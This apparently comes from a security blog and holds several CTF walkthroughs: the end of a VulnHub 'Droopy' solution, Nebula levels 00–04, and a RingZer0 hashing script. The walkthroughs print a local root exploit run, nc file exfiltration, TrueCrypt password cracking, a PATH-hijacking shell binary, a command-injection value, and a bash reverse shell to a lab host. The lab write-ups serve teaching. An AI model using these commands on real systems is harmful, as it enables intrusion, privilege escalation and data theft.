-rw-r--r-- 1 www-data www-data 75868 Oct 23 12:39 lpe.txt
-rwxr-xr-x 1 www-data www-data 13685 Oct 23 12:52 ofc_64
-rw-r--r-- 1 www-data www-data  5123 Oct 16 10:33 ofc_64.c
www-data@droopy:/tmp$ ./ofc_64
./ofc_64
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
#

Now it was time to get the flag as usual, but no there is no flag in the root directory. Instead we have a file which appears to be the one mentioned in the mail.

# ls -l /root/
ls -l /root/
total 5124
-rw-r--r-- 1 root root 5242880 Apr 12  2016 dave.tc
#

I copied the file over to my kali VM using nc.

# /bin/nc 192.168.56.102 4444 < /root/dave.tc
/bin/nc 192.168.56.102 4444 < /root/dave.tc
#

root@kali:~/research/droopy# nc -lvp 4444 > dave.tc
listening on [any] 4444 ...
192.168.56.104: inverse host lookup failed: Unknown host
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.104] 58414
root@kali:~/research/droopy# ls -l
total 5264
---[redacted]---
-rw-r--r-- 1 root root 5242880 Oct 23 02:30 dave.tc
---[redacted]---
-rw-r--r-- 1 root root     656 Oct 16 13:46 mail
root@kali:~/research/droopy#

It was time to crack the trucrypt encrypted file. The password probably has word ‘academy’ in it so let’s grab rockyou.txt with word academy and prepare us a wordlist and use it to crack the file.

root@kali:~/research/droopy# grep -i 'academy' /usr/share/wordlists/rockyou.txt > academy.txt

Initially I thought truecrack would automatically detect the Key Derivation Function. So, I let it run with default ripemd160, but it came back empty. I used below command.

truecrack -t dave.tc -w academy.txt

Next I try to mutate the academy pass list with john by specifying all the rules, but that did not help as well. Below was the command that I had used to mutate the pass list

john --wordlist=academy.txt --rules –stdout >> acad.mutated

Having failed with this as well, I turned to changing the Key Derivation Function to sha512 which worked.

root@kali:~/droopy# truecrack -k sha512 -t dave.tc -w academy.txt
TrueCrack v3.0
Website: http://code.google.com/p/truecrack
Contact us: infotruecrack@gmail.com
Found password:                       "etonacademy"
Password length:            "12"
Total computations:       "120"

Having found the password, it was time to open the dave.tc file. It was done with below command.

root@kali:~/research/droopy# cryptsetup --type tcrypt open dave.tc dave
Enter passphrase:
root@kali:~/research/droopy#

This will than show up as a drive in the explorer. After you access the drive it will appear in the /media folder as shown below.

root@kali:~/research/droopy# ls -laR /media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/
/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/:
total 20
drwxr-xr-x  6 root root  1024 Apr 12  2016 .
drwxr-x---+ 3 root root  4096 Oct 25 09:04 ..
drwxr-xr-x  2 root root  1024 Apr 12  2016 buller
drwx------  2 root root 12288 Apr 12  2016 lost+found
drwxr-xr-x  2 root root  1024 Apr 12  2016 panama
drwxr-xr-x  3 root root  1024 Apr 12  2016 .secret

/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/buller:
total 11
drwxr-xr-x 2 root root 1024 Apr 12  2016 .
drwxr-xr-x 6 root root 1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 8393 Oct  4  2013 BullingdonCrest.jpg

/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/lost+found:
total 13
drwx------ 2 root root 12288 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..

/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/panama:
total 52
drwxr-xr-x 2 root root  1024 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 49257 Jun 15  2014 shares.jpg

/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/.secret:
total 64
drwxr-xr-x 3 root root  1024 Apr 12  2016 .
drwxr-xr-x 6 root root  1024 Apr 12  2016 ..
-rw-r--r-- 1 root root 61118 Feb 25  2016 piers.png
drwxr-xr-x 2 root root  1024 Apr 12  2016 .top

/media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/.secret/.top:
total 3
drwxr-xr-x 2 root root 1024 Apr 12  2016 .
drwxr-xr-x 3 root root 1024 Apr 12  2016 ..
-r-------- 1 root root  872 Apr 12  2016 flag.txt
root@kali:~/research/droopy#

It has some cool images which you should check out and the flag 🙂

root@kali:~/research/droopy# cat /media/root/bae6055a-68b7-42ad-8a0d-4b25c6295c20/.secret/.top/flag.txt

##########################################################################
#   ___ ___  _  _  ___ ___    _ _____ _   _ _      _ _____ ___ ___  _  _  ___  #
#  / __/ _ \| \| |/ __| _ \  /_\_   _| | | | |    /_\_   _|_ _/ _ \| \| |/ __| #
# | (_| (_) | .` | (_ |   / / _ \| | | |_| | |__ / _ \| |  | | (_) | .` |\__ \ #
#  \___\___/|_|\_|\___|_|_\/_/ \_\_|  \___/|____/_/ \_\_| |___\___/|_|\_||___/ #
#                                                                              #
################################################################################


Firstly, thanks for trying this VM. If you have rooted it, well done!


Shout-outs go to #vulnhub for hosting a great learning tool. A special thanks
goes to barrebas and junken for help in testing and final configuration.
                                                                    --knightmare
root@kali:~/research/droopy#

Takeaways:

  • Persistence, never give up.
  • Pay attention to even the smallest details, if something fails try its variants before moving on.

Finally thanks knightmare and Vulnhub for this VM!!

Bursting the nebula | level00-level04

This post is a walk-through for a VM from exploit-exercises called nebula. It includes some interesting privilege escalation challenges. This is the first post in the series of 4 posts that I am planning to write and involves walk-through for level00 to level04.

So let’s begin by booting up the VM. VM will be assigned an IP address dynamically. Mine was 192.168.56.102. I used attacking machine as kali VM box with IP 192.168.56.101. You can directly login into the nebula VM. I used SSH to login to nebula and save me a bit of time and also mimicking it to a remote machine.


level00
This level requires you to find a Set User ID program that will run as the “flag00” account. You could also find this by carefully looking in top level directories in / for suspicious looking directories.
Alternatively, look at the find man page.
To access this level, log in as level00 with the password of level00.

So this looks very simple. I used below find command from “/” directory to search for SUID (-4000) file owned by user flag00 and redirected the errors to /dev/null with descriptor 2, so that i can have a clean output.

level00@nebula:/$ find . -perm -4000 -user flag00 2>/dev/null
./bin/.../flag00
./rofs/bin/.../flag00

Once the file was found, I executed it and the ran the getflag command as instructed to get the flag.

level00@nebula:/$ ./bin/.../flag00
Congrats, now run getflag to get your flag!
flag00@nebula:/$ getflag
You have successfully executed getflag on a target account
flag00@nebula:/$

level01
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level01 account with the password level01. Files for this level can be found in /home/flag01.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
	gid_t gid;
	uid_t uid;
	gid = getegid();
	uid = geteuid();

	setresgid(gid, gid, gid);
	setresuid(uid, uid, uid);

	system("/usr/bin/env echo and now what?");
}

Let’s have a look at the home folder of flag01. We have a SUID program which when run gives us the below output.

level01@nebula:~$ ls -l /home/flag01/
total 8
-rwsr-x--- 1 flag01 level01 7322 2011-11-20 21:22 flag01
level01@nebula:/tmp$ /home/flag01/flag01
and now what?

From the source code we know that the path to echo is not hardcoded. The program will look for echo binary in the PATH environment variable and if it finds it, it will execute it. So we now create a binary from the below quick and dirty code to spawn us a shell and name it echo. The spawned shell will have a UID/GID of the user who executes it.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  system("/bin/bash");
}

We create the binary from above code using gcc. Now download the binary into /tmp folder in nebula and make it executable using chmod.

root@kali:~# gcc shell.c -o echo
------------------------------------------------------------------
level01@nebula:/tmp$ wget http://192.168.56.101:8000/echo
--2016-10-04 02:52:19--  http://192.168.56.101:8000/echo
Connecting to 192.168.56.101:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 5364 (5.2K) [application/octet-stream]
Saving to: `echo'
100%[======================================>] 5,364       --.-K/s   in 0s     
2016-10-04 02:52:19 (140 MB/s) - `echo' saved [5364/5364]

level01@nebula:/tmp$ ls -l
total 8
-rw-rw-r-- 1 level01 level01 5364 2016-10-04 02:50 echo
level01@nebula:/tmp$ chmod +x echo
level01@nebula:/tmp$ ls -l
total 8
-rwxrwxr-x 1 level01 level01 5364 2016-10-04 02:50 echo

Now the last thing that is left to do is to change the environment variable PATH to include /tmp folder in the beginning so that it finds our echo binary.

level01@nebula:/tmp$ echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/tmp$ export PATH=/tmp:$PATH
level01@nebula:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games
level01@nebula:/tmp$

Now let’s execute the flag01 binary again and we now have the shell with user flag01 as shown below and we can now easily get the flag.

level01@nebula:/tmp$ /home/flag01/flag01
flag01@nebula:/tmp$ id;getflag
uid=998(flag01) gid=1002(level01) groups=998(flag01),1002(level01)
You have successfully executed getflag on a target account
flag01@nebula:/tmp$

level02
There is a vulnerability in the below program that allows arbitrary programs to be executed, can you find it?
To do this level, log in as the level02 account with the password level02. Files for this level can be found in /home/flag02.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
  char *buffer;
  gid_t gid;
  uid_t uid;
  gid = getegid();
  uid = geteuid();
  setresgid(gid, gid, gid);
  setresuid(uid, uid, uid);
  buffer = NULL;
  asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
  printf("about to call system(\"%s\")\n", buffer);
  system(buffer);
}

Executing the flag02 binary gives us the below output.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo level02 is cool")
level02 is cool

As we can see from the source code this similar to the last one but this time the input to the program comes directly from the environment variable USER, it then gets stored in the buffer variable which is then passed to the system function to execute without any saanitization.
As you may have noticed this is classic command injection vulnerability. So we need to edit the USER variable to include our command to get the flag. ‘;’ will terminate the echo command from the program and allow us to execute the id and getflag command.

level02@nebula:~$ echo $USER
level02
level02@nebula:~$ export USER=';id;getflag'
level02@nebula:~$ echo $USER
;id;getflag

Now that the we have set the environment variable let’s execute the flag02 binary, and we have our flag.

level02@nebula:~$ /home/flag02/flag02
about to call system("/bin/echo ;id;getflag is cool")

uid=997(flag02) gid=1003(level02) groups=997(flag02),1003(level02)
You have successfully executed getflag on a target account
level02@nebula:~$

level03
Check the home directory of flag03 and take note of the files there.
There is a crontab that is called every couple of minutes.
To do this level, log in as the level03 account with the password level03. Files for this level can be found in /home/flag03.

Let’s have a look at the home directory. We have a bash script and a world writeable folder, both owned by flag03 user. Based on the challenge it’s a good assumption that this bash script will be executed every couple of minutes.

level03@nebula:~$ ls -l /home/flag03/
total 1
drwxrwxrwx 2 flag03 flag03  3 2012-08-18 05:24 writable.d
-rwxr-xr-x 1 flag03 flag03 98 2011-11-20 21:22 writable.sh

Let’s have look at the bash script. We can see that the bash script will execute all the scripts from the writable.d folder.

level03@nebula:~$ cat /home/flag03/writable.sh
#!/bin/sh
for i in /home/flag03/writable.d/* ; do
                (ulimit -t 5; bash -x "$i")
                rm -f "$i"
done

Since we have the liberty to write our own script which will get executed, simplest thing to do will be to get a reverse shell to connect back to our kali box as shown below.

level03@nebula:/tmp$ cat shell.sh
/bin/bash -i >& /dev/tcp/192.168.56.101/1234 0>&1

Let’s copy the bash shell to the writable.d directory and wait for it’s execution. Meanwhile we will set up a netcat listener for the reverse shell on our kali box.

level03@nebula:/tmp$ cp shell.sh /home/flag03/writable.d/
level03@nebula:/tmp$ ls -l shell.sh /home/flag03/writable.d/
-rw-rw-r-- 1 level03 level03 50 2016-10-04 05:07 shell.sh

As we can see we have a reverse shell in couple of minutes, and now we can execute the getflag command.

root@kali:~# nc -lvp1234
listening on [any] 1234 ...
192.168.56.102: inverse host lookup failed: Unknown host
connect to [192.168.56.101] from (UNKNOWN) [192.168.56.102] 40362
bash: no job control in this shell
flag03@nebula:~$ id
id
uid=996(flag03) gid=996(flag03) groups=996(flag03)
flag03@nebula:~$ getflag
getflag
You have successfully executed getflag on a target account
flag03@nebula:~$

level04
This level requires you to read the token file, but the code restricts the files that can be read. Find a way to bypass it 🙂
To do this level, log in as the level04 account with the password level04. Files for this level can be found in /home/flag04.

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
int main(int argc, char **argv, char **envp)
{
  char buf[1024];
  int fd, rc;
  if(argc == 1) {
      printf("%s [file to read]\n", argv[0]);
      exit(EXIT_FAILURE);
  }
  if(strstr(argv[1], "token") != NULL) {
      printf("You may not access '%s'\n", argv[1]);
      exit(EXIT_FAILURE);
  }
  fd = open(argv[1], O_RDONLY);
  if(fd == -1) {
      err(EXIT_FAILURE, "Unable to open %s", argv[1]);
  }
 rc = read(fd, buf, sizeof(buf));
  if(rc == -1) {
      err(EXIT_FAILURE, "Unable to read fd %d", fd);
  }
  write(1, buf, rc);
}

This time we need to read a token file, interesting! So the program looks for occurrence of word token in the argument argv[1], and if it exist than we can’t read the file. This initially looked like a race condition vulnerability but it’s even simpler. Let’s see what files we have in the home directory of user flag04.

level04@nebula:~$ ls -l /home/flag04/
total 8
-rwsr-x--- 1 flag04 level04 7428 2011-11-20 21:52 flag04
-rw------- 1 flag04 flag04 37 2011-11-20 21:52 token
level04@nebula:/home/flag04$ ./flag04 token
You may not access 'token'
level04@nebula:/home/flag04$

We can create a symlink to the token file as shown below and name it read, which we will than supply as the argument for the program.

level04@nebula:/home/flag04$ ln -s /home/flag04/token /tmp/read
level04@nebula:/home/flag04$ ls -l /tmp/
total 4
-rw-rw-r-- 1 level04 level04  3 2016-10-08 04:46 abcd
lrwxrwxrwx 1 level04 level04 18 2016-10-08 05:24 read -> /home/flag04/token

Now let’s execute the flag04 binary giving it the argument of our symlink which then will resolve to token file read the token file for us.

level04@nebula:/home/flag04$ ./flag04 /tmp/read
06508b5e-8909-4f38-b630-fdb148a848a2
level04@nebula:/home/flag04$

 

How I Cracked Your Challenge (Coding Challenge 1)

Hello World!!!

This post is about solving one simple CTF challenge from RingerZer0. This is the first challenge from the coding section named “hash me please”, where in we have 2 seconds to hash the displayed message using sha512 algorithm and send the answer back to the server using the link https://ringzer0team.com/challenges/13/%5Bhash_of_the_message]

The following solution code is written in Python and uses the selenium web drivers.

import hashlib
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
usr = "username"
pas = "password"
driver = webdriver.Firefox()
driver.get ("https://ringzer0team.com/login")
elem = driver.find_element_by_name ("username")
elem.send_keys(usr)
elem = driver.find_element_by_name ("password")
elem.send_keys(pas)
elem.send_keys (Keys.RETURN)
driver.get ("https://ringzer0team.com/challenges/13")
element = driver.find_element_by_class_name ("message")
element_text = element.text
print element_text
new_string = element_text [26:]
print new_string
new_string_1 = new_string [:-24]
print new_string_1
hash_1 = hashlib.sha512(new_string_1)
print "\n***********\n"
hash_object = hash_1.hexdigest()
print hash_object
driver.get ("https://ringzer0team.com/challenges/13/%s" %hash_object)

Most of the code is self-explanatory. The first is the normal login part where in user credentials are supplied log in into the Ringerzer0.

 usr = "username"
 pas = "password"
 driver = webdriver.Firefox()
 driver.get ("https://ringzer0team.com/login")
 elem = driver.find_element_by_name ("username")
 elem.send_keys(usr)
 elem = driver.find_element_by_name ("password")
 elem.send_keys(pas)
 elem.send_keys (Keys.RETURN)

The next task is to fetch the message in order to hash it. Below is the sample message displayed when the challenge is accessed. The message changes every 2 seconds.

----- BEGIN MESSAGE -----peifEOAdlUcTVWK6SIjctgqkstkK432j7bpCQPF1AHLmtljbUsddytnRNyrHskRql6S1MnTcVupeGygqRkufEIXh6eOopvFBsns4Bc7mxnr4LyksIFycdlkaqZpGlU7D7qyztvLQI3KkrVDZq22ueduv2K1duYHsf5RyqteZmPaDBDtRwlcAowVh6MkrBSJGNq44K9UWPUqgoJYKV0aamWhjzsA0aaxNrsI1ssO7c4eqD21pS2p5OxfdPF4QFsuWL2O3ks1nm5EQXv5GnlB2IG5oc05IjpuUi8NsqEGDzajnvfTJqlBZRxdUn9sxoNhxMUP3pmwPmG2HLLh1WIRE5UpjUHG8lNvXybQNncsAIl8kXfbJNSeJDuSn1omc2I0rKG5YJoohzmsmstW5c1EGlnUdC6guF6LfCG4cVjkkwCwOWjKYaevlsfpUcvfIsQOVnIX8R7jdzGRlPraQwv2PBhzEDEcVlQGzpty6qHaQeR2T92zworbQzBk25nNh4jGjD5fUCgAHYtqXmQkA8mhxOspKF3RzcoIGjOqMURjIaAwmgHNeUVCydR8JKQ8N4HjemAR7h0Gir2vxA9CkV4JYMHxnow0i4angA4dIVKRcCdA3c2eXXNMAlaNzxEIrEVy5QBEBbmEEp4ysXCgKfSbrTOQgipxNbVIRndjppNUFHiXuK35QM68vLPCT4Zx5L5NY9WepAYU77HsIBopdlnzW21GXR3SsZwhYjmdJaXH8v0GWfV0q8pc1hIOYCxhrTpg3BjDC7aAt16f6R5mQlpHsYmhqJoHtENm5XPxVQXeIUkECgQir6QKU2RbC6JWAn8vaOTWvH13rbxThe2zbI9VBRX4NwQeJPzKtjwPQoI7q6RybJXchXYJELDi8jmHYMhiVEYBTwz9tgxvPkxX8mxDY0LWaXtZAB8l6WNPjdODjbYZmmNlyaOm1p82dsSDTQPPDtvMw9gFb4vng8zE8dR0sQSw8A0ShGyKZTnlTtRUod8ubxZaAG0TnJgla64hDsSsc
----- END MESSAGE -----

Now in order to locate and fetch the message element from the webpage, I used driver.find_element_by_class_name. This is used when you want to locate an element by class attribute name.

 element = driver.find_element_by_class_name ("message")
 element_text = element.text
 print element_text

Now in order to eliminate —– BEGIN MESSAGE —– and —– END MESSAGE —– I used string_variable [26:] and string_variable [:-24]. Below mentioned method truncates the string at specific positions.

 new_string = element_text [26:]
 print new_string
 new_string_1 = new_string [:-24]
 print new_string_1

Once the message is obtained it is hashed and driver.get function is used to send the obtain hashed to the described URL, which solves the challenge :).

 hash_1 = hashlib.sha512(new_string_1)
 print "\n***********\n"
 hash_object = hash_1.hexdigest()
 print hash_object
 driver.get ("https://ringzer0team.com/challenges/13/%s" %hash_object)